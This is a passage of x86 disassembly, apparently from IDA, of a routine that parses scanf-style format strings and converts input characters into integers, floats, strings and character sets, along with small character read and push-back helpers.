var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420F16 mov edi, [ebp+arg_0] jmp short loc_42053F ; --------------------------------------------------------------------------- loc_42053A: ; CODE XREF: sub_420510+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_42053F: ; CODE XREF: sub_420510+28j cmp dword_43C504, 1 jle short loc_420557 movzx eax, al push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420566 ; --------------------------------------------------------------------------- loc_420557: ; CODE XREF: sub_420510+36j mov ecx, off_43C2F8 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420566: ; CODE XREF: sub_420510+45j cmp eax, ebx jz short loc_4205A0 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420F9D pop ecx pop ecx push eax call sub_420F86 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 add esp, 0Ch loc_42058E: ; CODE XREF: sub_420510+8Ej test eax, eax jz short loc_4205A0 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41D670 pop ecx jmp short loc_42058E ; --------------------------------------------------------------------------- loc_4205A0: ; CODE XREF: sub_420510+58j ; sub_420510+80j cmp byte ptr [esi], 25h jnz loc_420E82 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_4205D7: ; CODE XREF: sub_420510+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43C504, 1 jle short loc_4205F4 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_420603 ; --------------------------------------------------------------------------- loc_4205F4: ; CODE XREF: sub_420510+D3j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420603: ; CODE XREF: sub_420510+E2j test eax, eax jz short loc_420619 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420619: ; CODE XREF: sub_420510+F5j cmp ebx, 4Eh jg short loc_42065C jz short loc_42067E cmp ebx, 2Ah jz short loc_420657 cmp ebx, 46h jz short loc_42067E cmp ebx, 49h jz short loc_420639 cmp ebx, 4Ch jnz short loc_42066B inc [ebp+var_D] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420639: ; CODE XREF: sub_420510+11Dj cmp byte ptr [esi+1], 36h jnz short loc_42066B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_42066B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420657: ; CODE XREF: sub_420510+113j inc [ebp+var_E] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_42065C: ; CODE XREF: sub_420510+10Cj cmp ebx, 68h jz short loc_420678 cmp ebx, 6Ch jz short loc_420670 cmp ebx, 77h jz short loc_420673 loc_42066B: ; CODE XREF: sub_420510+122j ; sub_420510+12Dj ... inc [ebp+var_F] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420670: ; CODE XREF: sub_420510+154j inc [ebp+var_D] loc_420673: ; CODE XREF: sub_420510+159j inc [ebp+var_5] jmp short loc_42067E ; --------------------------------------------------------------------------- loc_420678: ; CODE XREF: sub_420510+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_42067E: ; CODE XREF: sub_420510+107j ; sub_420510+10Ej ... cmp [ebp+var_F], 0 jz loc_4205D7 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4206A3 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4206A3: ; CODE XREF: sub_420510+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4206C1 mov al, [esi] cmp al, 53h jz short loc_4206BD cmp al, 43h jz short loc_4206BD or [ebp+var_5], 0FFh jmp short loc_4206C1 ; --------------------------------------------------------------------------- loc_4206BD: ; CODE XREF: sub_420510+1A1j ; sub_420510+1A5j mov [ebp+var_5], 1 loc_4206C1: ; CODE XREF: sub_420510+19Bj ; sub_420510+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_4206FA cmp esi, 63h jz short loc_4206EB cmp esi, 7Bh jz short loc_4206EB push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420F9D pop ecx jmp short loc_4206F6 ; --------------------------------------------------------------------------- loc_4206EB: ; CODE XREF: sub_420510+1C5j ; sub_420510+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C loc_4206F6: ; CODE XREF: sub_420510+1D9j pop ecx mov [ebp+var_14], eax loc_4206FA: ; CODE XREF: sub_420510+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42070A cmp [ebp+var_C], eax jz loc_420EE6 loc_42070A: ; CODE XREF: sub_420510+1EFj cmp esi, 6Fh jg loc_420971 jz loc_420C23 cmp esi, 63h jz loc_42094E cmp esi, 64h jz loc_420C23 jle loc_42099B cmp esi, 67h jle short loc_42076E cmp esi, 69h jz short loc_420756 cmp esi, 6Eh jnz loc_42099B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420E51 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420756: ; CODE XREF: sub_420510+229j push 64h pop esi loc_420759: ; CODE XREF: sub_420510+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_4209E3 mov [ebp+var_17], 1 jmp loc_4209E8 ; --------------------------------------------------------------------------- loc_42076E: ; CODE XREF: sub_420510+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_42078A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_42078F ; --------------------------------------------------------------------------- loc_42078A: ; CODE XREF: sub_420510+26Aj cmp ebx, 2Bh jnz short loc_4207A6 loc_42078F: ; CODE XREF: sub_420510+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207A9 ; --------------------------------------------------------------------------- loc_4207A6: ; CODE XREF: sub_420510+27Dj mov edi, [ebp+arg_0] loc_4207A9: ; CODE XREF: sub_420510+294j cmp [ebp+var_20], 0 jz short loc_4207B8 cmp [ebp+var_C], 15Dh jle short loc_4207BF loc_4207B8: ; CODE XREF: sub_420510+29Dj mov [ebp+var_C], 15Dh loc_4207BF: ; CODE XREF: sub_420510+2A6j ; sub_420510+2F2j cmp dword_43C504, 1 jle short loc_4207D4 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4207DF ; --------------------------------------------------------------------------- loc_4207D4: ; CODE XREF: sub_420510+2B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4207DF: ; CODE XREF: sub_420510+2C2j test eax, eax jz short loc_420804 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420804 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4207BF ; --------------------------------------------------------------------------- loc_420804: ; CODE XREF: sub_420510+2D1j ; sub_420510+2DBj cmp byte_43C508, bl jnz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax mov al, byte_43C508 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_42082D: ; CODE XREF: sub_420510+360j cmp dword_43C504, 1 jle short loc_420842 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_42084D ; --------------------------------------------------------------------------- loc_420842: ; CODE XREF: sub_420510+324j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_42084D: ; CODE XREF: sub_420510+330j test eax, eax jz short loc_420872 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420872 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_42082D ; --------------------------------------------------------------------------- loc_420872: ; CODE XREF: sub_420510+2FAj ; sub_420510+304j ... cmp [ebp+var_1C], 0 jz loc_42090A cmp ebx, 65h jz short loc_42088A cmp ebx, 45h jnz loc_42090A loc_42088A: ; CODE XREF: sub_420510+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4208B1 mov [esi], al inc esi jmp short loc_4208B6 ; --------------------------------------------------------------------------- loc_4208B1: ; CODE XREF: sub_420510+39Aj cmp ebx, 2Bh jnz short loc_4208D4 loc_4208B6: ; CODE XREF: sub_420510+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4208C5 and [ebp+var_C], eax jmp short loc_4208D4 ; --------------------------------------------------------------------------- loc_4208C5: ; CODE XREF: sub_420510+3AEj ; sub_420510+3F8j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4208D4: ; CODE XREF: sub_420510+3A4j ; sub_420510+3B3j cmp dword_43C504, 1 jle short loc_4208E9 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_4208F4 ; --------------------------------------------------------------------------- loc_4208E9: ; CODE XREF: sub_420510+3CBj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_4208F4: ; CODE XREF: sub_420510+3D7j test eax, eax jz short loc_42090A mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42090A inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4208C5 ; --------------------------------------------------------------------------- loc_42090A: ; CODE XREF: sub_420510+366j ; sub_420510+374j ... dec [ebp+var_4] push edi push ebx call sub_420F86 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43C8A8 add esp, 0Ch jmp loc_420E77 ; --------------------------------------------------------------------------- loc_42094E: ; CODE XREF: sub_420510+20Cj cmp [ebp+var_20], eax jnz short loc_42095D inc [ebp+var_C] mov [ebp+var_20], 1 loc_42095D: ; CODE XREF: sub_420510+441j cmp [ebp+var_5], 0 jle short loc_420967 mov [ebp+var_16], 1 loc_420967: ; CODE XREF: sub_420510+451j mov edi, offset dword_43C780 jmp loc_420A7C ; --------------------------------------------------------------------------- loc_420971: ; CODE XREF: sub_420510+1FDj mov eax, esi sub eax, 70h jz loc_420C1F sub eax, 3 jz loc_420A6D dec eax dec eax jz loc_420C23 sub eax, 3 jz loc_420759 sub eax, 3 jz short loc_4209BF loc_42099B: ; CODE XREF: sub_420510+21Bj ; sub_420510+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_420EE6 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_420E77 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_420E77 ; --------------------------------------------------------------------------- loc_4209BF: ; CODE XREF: sub_420510+489j cmp [ebp+var_5], 0 jle short loc_4209C9 mov [ebp+var_16], 1 loc_4209C9: ; CODE XREF: sub_420510+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_420A80 mov eax, edi lea edi, [eax+1] jmp loc_420A7C ; --------------------------------------------------------------------------- loc_4209E3: ; CODE XREF: sub_420510+24Fj cmp ebx, 2Bh jnz short loc_420A0A loc_4209E8: ; CODE XREF: sub_420510+259j dec [ebp+var_C] jnz short loc_4209F9 cmp [ebp+var_20], 0 jz short loc_4209F9 mov [ebp+var_F], 1 jmp short loc_420A0A ; --------------------------------------------------------------------------- loc_4209F9: ; CODE XREF: sub_420510+4DBj ; sub_420510+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420A0A: ; CODE XREF: sub_420510+4D6j ; sub_420510+4E7j cmp ebx, 30h jnz loc_420C58 push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_420A58 cmp bl, 58h jz short loc_420A58 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_420A42 push 6Fh loc_420A3C: ; CODE XREF: sub_420510+55Bj pop esi jmp loc_420C58 ; --------------------------------------------------------------------------- loc_420A42: ; CODE XREF: sub_420510+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx push 30h pop ebx jmp loc_420C55 ; --------------------------------------------------------------------------- loc_420A58: ; CODE XREF: sub_420510+517j ; sub_420510+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_420A3C ; --------------------------------------------------------------------------- loc_420A6D: ; CODE XREF: sub_420510+46Fj cmp [ebp+var_5], 0 jle short loc_420A77 mov [ebp+var_16], 1 loc_420A77: ; CODE XREF: sub_420510+561j mov edi, offset dword_43C778 loc_420A7C: ; CODE XREF: sub_420510+45Cj ; sub_420510+4CEj or [ebp+var_18], 0FFh loc_420A80: ; CODE XREF: sub_420510+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41B590 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_420AA4 cmp byte ptr [edi], 5Dh jnz short loc_420AA4 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AA4: ; CODE XREF: sub_420510+584j ; sub_420510+589j mov dl, [ebp+var_35] loc_420AA7: ; CODE XREF: sub_420510+592j ; sub_420510+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_420B0C inc edi cmp al, 2Dh jnz short loc_420AF3 test dl, dl jz short loc_420AF3 mov cl, [edi] cmp cl, 5Dh jz short loc_420AF3 inc edi cmp dl, cl jnb short loc_420AC6 mov al, cl jmp short loc_420ACA ; --------------------------------------------------------------------------- loc_420AC6: ; CODE XREF: sub_420510+5B0j mov al, dl mov dl, cl loc_420ACA: ; CODE XREF: sub_420510+5B4j cmp dl, al ja short loc_420AEF movzx edx, dl movzx esi, al sub esi, edx inc esi loc_420AD7: ; CODE XREF: sub_420510+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_420AD7 loc_420AEF: ; CODE XREF: sub_420510+5BCj xor dl, dl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420AF3: ; CODE XREF: sub_420510+5A0j ; sub_420510+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_420AA7 ; --------------------------------------------------------------------------- loc_420B0C: ; CODE XREF: sub_420510+59Bj cmp byte ptr [edi], 0 jz loc_420F16 cmp [ebp+var_3C], 7Bh jnz short loc_420B1E mov [ebp+arg_4], edi loc_420B1E: ; CODE XREF: sub_420510+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_420F86 pop ecx pop ecx loc_420B35: ; CODE XREF: sub_420510+6BCj ; sub_420510+6C4j cmp [ebp+var_20], 0 jz short loc_420B49 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_420BE5 loc_420B49: ; CODE XREF: sub_420510+629j inc [ebp+var_4] push edi call sub_420F6C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_420BD9 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_420BD9 cmp [ebp+var_E], 0 jnz short loc_420BD1 cmp [ebp+var_16], 0 jz short loc_420BC6 mov ecx, off_43C2F8 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_420BA5 inc [ebp+var_4] push edi call sub_420F6C pop ecx mov [ebp+var_37], al loc_420BA5: ; CODE XREF: sub_420510+686j push dword_43C504 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_423EC3 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_420BC9 ; --------------------------------------------------------------------------- loc_420BC6: ; CODE XREF: sub_420510+673j mov [esi], al inc esi loc_420BC9: ; CODE XREF: sub_420510+6B4j mov [ebp+var_2C], esi jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD1: ; CODE XREF: sub_420510+66Dj inc [ebp+var_30] jmp loc_420B35 ; --------------------------------------------------------------------------- loc_420BD9: ; CODE XREF: sub_420510+649j ; sub_420510+667j dec [ebp+var_4] push edi push eax call sub_420F86 pop ecx pop ecx loc_420BE5: ; CODE XREF: sub_420510+633j cmp [ebp+var_30], esi jz loc_420F16 cmp [ebp+var_E], 0 jnz loc_420E77 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_420E77 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_420C17 and word ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C17: ; CODE XREF: sub_420510+6FCj and byte ptr [eax], 0 jmp loc_420E77 ; --------------------------------------------------------------------------- loc_420C1F: ; CODE XREF: sub_420510+466j mov [ebp+var_D], 1 loc_420C23: ; CODE XREF: sub_420510+203j ; sub_420510+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_420C31 mov [ebp+var_17], 1 jmp short loc_420C36 ; --------------------------------------------------------------------------- loc_420C31: ; CODE XREF: sub_420510+719j cmp ebx, 2Bh jnz short loc_420C58 loc_420C36: ; CODE XREF: sub_420510+71Fj dec [ebp+var_C] jnz short loc_420C47 cmp [ebp+var_20], 0 jz short loc_420C47 mov [ebp+var_F], 1 jmp short loc_420C58 ; --------------------------------------------------------------------------- loc_420C47: ; CODE XREF: sub_420510+729j ; sub_420510+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C pop ecx mov ebx, eax loc_420C55: ; CODE XREF: sub_420510+543j mov [ebp+var_14], ebx loc_420C58: ; CODE XREF: sub_420510+4FDj ; sub_420510+52Dj ... cmp [ebp+var_30], 0 jz loc_420D71 cmp [ebp+var_F], 0 jnz loc_420D4F loc_420C6C: ; CODE XREF: sub_420510+82Cj cmp esi, 78h jnz short loc_420CC0 cmp dword_43C504, 1 jle short loc_420C89 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420C96 ; --------------------------------------------------------------------------- loc_420C89: ; CODE XREF: sub_420510+768j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420C96: ; CODE XREF: sub_420510+777j test eax, eax jz loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_423F90 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420D13 ; --------------------------------------------------------------------------- loc_420CC0: ; CODE XREF: sub_420510+75Fj cmp dword_43C504, 1 jle short loc_420CD5 push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420CE0 ; --------------------------------------------------------------------------- loc_420CD5: ; CODE XREF: sub_420510+7B7j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420CE0: ; CODE XREF: sub_420510+7C3j test eax, eax jz short loc_420D41 cmp esi, 6Fh jnz short loc_420CFE cmp ebx, 38h jge short loc_420D41 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_423F90 jmp short loc_420D0D ; --------------------------------------------------------------------------- loc_420CFE: ; CODE XREF: sub_420510+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D280 loc_420D0D: ; CODE XREF: sub_420510+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_420D13: ; CODE XREF: sub_420510+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_420D2B dec [ebp+var_C] jz short loc_420D4F loc_420D2B: ; CODE XREF: sub_420510+814j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420C6C ; --------------------------------------------------------------------------- loc_420D41: ; CODE XREF: sub_420510+788j ; sub_420510+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420D4F: ; CODE XREF: sub_420510+756j ; sub_420510+819j cmp [ebp+var_17], 0 jz loc_420E35 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_420E35 ; --------------------------------------------------------------------------- loc_420D71: ; CODE XREF: sub_420510+74Cj cmp [ebp+var_F], 0 jnz loc_420E2D loc_420D7B: ; CODE XREF: sub_420510+90Aj cmp esi, 78h jz short loc_420DBF cmp esi, 70h jz short loc_420DBF cmp dword_43C504, 1 jle short loc_420D9A push 4 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DA5 ; --------------------------------------------------------------------------- loc_420D9A: ; CODE XREF: sub_420510+87Cj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 4 loc_420DA5: ; CODE XREF: sub_420510+888j test eax, eax jz short loc_420E1F cmp esi, 6Fh jnz short loc_420DB8 cmp ebx, 38h jge short loc_420E1F shl edi, 3 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DB8: ; CODE XREF: sub_420510+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_420DF7 ; --------------------------------------------------------------------------- loc_420DBF: ; CODE XREF: sub_420510+86Ej ; sub_420510+873j cmp dword_43C504, 1 jle short loc_420DD7 push 80h push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420DE4 ; --------------------------------------------------------------------------- loc_420DD7: ; CODE XREF: sub_420510+8B6j mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 80h loc_420DE4: ; CODE XREF: sub_420510+8C5j test eax, eax jz short loc_420E1F push ebx shl edi, 4 call sub_420F35 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420DF7: ; CODE XREF: sub_420510+8A6j ; sub_420510+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_420E09 dec [ebp+var_C] jz short loc_420E2D loc_420E09: ; CODE XREF: sub_420510+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_420F6C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_420D7B ; --------------------------------------------------------------------------- loc_420E1F: ; CODE XREF: sub_420510+897j ; sub_420510+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_420F86 pop ecx pop ecx loc_420E2D: ; CODE XREF: sub_420510+865j ; sub_420510+8F7j cmp [ebp+var_17], 0 jz short loc_420E35 neg edi loc_420E35: ; CODE XREF: sub_420510+843j ; sub_420510+85Cj ... cmp esi, 46h jnz short loc_420E3E and [ebp+var_1C], 0 loc_420E3E: ; CODE XREF: sub_420510+928j cmp [ebp+var_1C], 0 jz loc_420F16 cmp [ebp+var_E], 0 jnz short loc_420E77 inc [ebp+var_34] loc_420E51: ; CODE XREF: sub_420510+23Bj cmp [ebp+var_30], 0 jz short loc_420E67 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E67: ; CODE XREF: sub_420510+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_420E74 mov [eax], edi jmp short loc_420E77 ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420510+95Ej mov [eax], di loc_420E77: ; CODE XREF: sub_420510+241j ; sub_420510+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_420EC4 ; --------------------------------------------------------------------------- loc_420E82: ; CODE XREF: sub_420510+93j inc [ebp+var_4] push edi call sub_420F6C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_420EF1 mov ecx, off_43C2F8 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_420EC4 inc [ebp+var_4] push edi call sub_420F6C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_420EFF dec [ebp+var_4] loc_420EC4: ; CODE XREF: sub_420510+970j ; sub_420510+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420EDA cmp byte ptr [esi], 25h jnz short loc_420F1C mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_420F1C mov esi, eax loc_420EDA: ; CODE XREF: sub_420510+9B8j mov al, [esi] test al, al jnz loc_42053A jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EE6: ; CODE XREF: sub_420510+1F4j ; sub_420510+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EF1: ; CODE XREF: sub_420510+98Aj dec [ebp+var_4] push edi push ebx loc_420EF6: ; CODE XREF: sub_420510+9DFj call sub_420F86 pop ecx pop ecx jmp short loc_420F16 ; --------------------------------------------------------------------------- loc_420EFF: ; CODE XREF: sub_420510+9AFj dec [ebp+var_4] push edi push eax call sub_420F86 dec [ebp+var_4] push edi push ebx call sub_420F86 add esp, 10h loc_420F16: ; CODE XREF: sub_420510+1Fj ; sub_420510+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_420F2D loc_420F1C: ; CODE XREF: sub_420510+9BDj ; sub_420510+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_420F30 cmp [ebp+var_15], al jnz short loc_420F30 or eax, 0FFFFFFFFh jmp short loc_420F30 ; --------------------------------------------------------------------------- loc_420F2D: ; CODE XREF: sub_420510+A0Aj mov eax, [ebp+var_34] loc_420F30: ; CODE XREF: sub_420510+A11j ; sub_420510+A16j ... pop edi pop esi pop ebx leave retn sub_420510 endp ; =============== S U B R O U T I N E ======================================= sub_420F35 proc near ; CODE XREF: sub_420510+7A3p ; sub_420510+8DCp arg_0 = dword ptr 4 cmp dword_43C504, 1 push esi jle short loc_420F4F mov esi, [esp+4+arg_0] push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_420F5E ; --------------------------------------------------------------------------- loc_420F4F: ; CODE XREF: sub_420F35+8j mov esi, [esp+4+arg_0] mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_420F5E: ; CODE XREF: sub_420F35+18j test eax, eax jnz short loc_420F68 and esi, 0FFFFFFDFh sub esi, 7 loc_420F68: ; CODE XREF: sub_420F35+2Bj mov eax, esi pop esi retn sub_420F35 endp ; =============== S U B R O U T I N E ======================================= sub_420F6C proc near ; CODE XREF: sub_420510+1E1p ; sub_420510+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_420F7E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_420F7E: ; CODE XREF: sub_420F6C+7j push edx call sub_41F043 pop ecx retn sub_420F6C endp ; =============== S U B R O U T I N E ======================================= sub_420F86 proc near ; CODE XREF: sub_420510+6Bp ; sub_420510+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_420F9C push [esp+arg_4] push [esp+4+arg_0] call sub_423FAF pop ecx pop ecx locret_420F9C: ; CODE XREF: sub_420F86+5j retn sub_420F86 endp ; =============== S U B R O U T I N E ======================================= sub_420F9D proc near ; CODE XREF: sub_420510+63p ; sub_420510+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi 